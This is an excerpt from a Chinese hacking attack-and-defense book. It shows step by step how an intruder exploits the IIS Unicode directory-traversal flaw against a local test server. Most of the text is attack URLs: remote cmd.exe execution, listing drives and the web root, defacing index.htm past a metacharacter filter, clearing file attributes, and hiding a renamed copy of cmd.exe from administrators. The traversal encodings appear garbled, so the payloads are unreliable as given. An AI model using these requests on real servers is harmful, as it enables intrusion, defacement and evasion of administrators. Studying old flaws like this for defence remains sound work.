黑客攻防技术内幕-防止入侵的方法(14)
6.9.2 利用UNICODE漏洞攻击网站
(1) 入侵者在手工或是使用扫描工具找到有UNICODE漏洞的服务器后,在浏览器中输入:
http://目标机/scripts/..Á../winnt/system32/cmd.exe?/c+dir+c:\
或
http://目标机/scripts/..À/../winnt/system32/cmd.exe?/c+dir+c:\
等(其他编码检测请参阅本书3.7.1 节中UNICODE漏洞的修补)
通过以上输入向服务器发出请求,得到结果如图6-80所示。
图6-80 UNICODE漏洞
这里以本机(IP:127.0.0.1)存在的UNICODE漏洞进行检测,从图6-80中可以看到被检测服务器的C盘目录被列了出来,这就是所谓的UNICODE漏洞,也叫目录遍历漏洞。
(2) 接下来入侵者将会去查找服务器所存放主页的位置,接着在浏览器中向存有UNICODE漏洞的服务器发送一条请求,请求内容如下:
http://127.0.0.1/scripts/..Á../winnt/system32/cmd.exe?/c+set
或是
http://127.0.0.1/scripts/..À/../winnt/system32/cmd.exe?/c+set等
得到的结果如图6-81所示。
图6-81 查看服务器信息
图6-81是利用set命令列出了服务器的信息,set 命令是显示目标主机当前的环境变量的,从PATH_TRANSLATED=d:\inetpub\wwwroot这一条可以看出服务器主页所存放的位置是默认位置,也就是在d:\inetpub\wwwroot下。如果该服务器还存在.IDQ/.IDA 漏洞话,向目标机提交http://127.0.0.1/.idq 或者是http://127.0.0.1/.ida也可以得到目标服务器存放主页的位置,如图6-82所示。
图6-82 .IDA漏洞查主页存放位置
根据图6-84也同样可以看出主页存放位置是d:\inetpub\wwwroot。
(3) 入侵者向服务器提交一条请求进入d:\inetpub\wwwroot (目标服务器主页存放位置),内容如下:
http://127.0.0.1/scripts/..Á../winnt/system32/cmd.exe?/c+dir+d:\inetpub\wwwroot
或是:
http://127.0.0.1/scripts/..À/../winnt/system32/cmd.exe?/c+dir+d:\inetpub\wwwroot等
得到的请求结果如图6-83所示。
图6-83 进入目标服务器主页存放位置
(4) 接下来入侵者将会更改网站主页,一般首页文件名为:index.htm、index.asp、default.asp等,入侵者将会向存有UNICODE漏洞的服务器提交以下请求:
http://127.0.0.1/scripts/..Á../winnt/system32/cmd".exe?/c+echo+网站有漏洞+请修补+>d:\inetpub\wwwroot\index.htm
如图6-84和6-85所示。
图6-84 入侵者利用echo命令修改主页
图6-85 被入侵者所修改的主页
图6-84中入侵者所用到的方法就是利用echo回显、管道工具>、>>,从而达到了简单的更改主页的目的。
服务器在加载程序时,如果检测到有cmd.exe或者command.com串就要检测特殊字符【& | ( , ; % < >】如果发现有这些字符就会返回500错误,所以不能直接使用cmd.exe加管道符,比如向浏览器中输入:
http://127.0.0.1/scripts/..Á../winnt/system32/cmd.exe?/c+echo+网站有漏洞+请修补+>d:\inetpub\wwwroot\index.htm
则会出现HTTP 500内部服务器错误信息,如图6-86所示。
图6-86 服务器内部出错信息
如果入侵者在cmd后面加入字符",再结合回显命令和管道命令就可以轻松地实现更改主页的目的,如图6-84所示。
(5) 如果一个入侵者在更改页面时运行:
http://127.0.0.1/scripts/..Á../winnt/system32/cmd".exe?/c+echo+网站有漏洞+请修补 +>d:\inetpub\wwwroot\index.htm
则出现如图6-87所示的结果。
图6-87 无法更改页面
图6-87的内容说明没有权限更改该页面,一是由于权限不够,二是说明该页面属性是只读属性。如果该页面是只读属性,那么入侵者接着会执行以下一条内容,去掉该文件的只读属性,从而达到更改主页的目的:
http://127.0.0.1/scripts/..Á../winnt/system32/attrib.exe? -r -h d:\inetpub\wwwroot\index.htm
如图6-88所示。
图6-88 去掉网页index.htm的只读、隐藏属性
(6) 为了方便输入,入侵者将cmd.exe复制到scripts文件夹下,为防止管理员发现将其改名为win.exe(如图6-69所示),然后向服务器提交以下内容:
http://127.0.0.1/scripts/win.exe?/c+echo+有漏洞请修补+>d:\inetpub\wwwroot\index.htm
修改的结果如图6-84所示。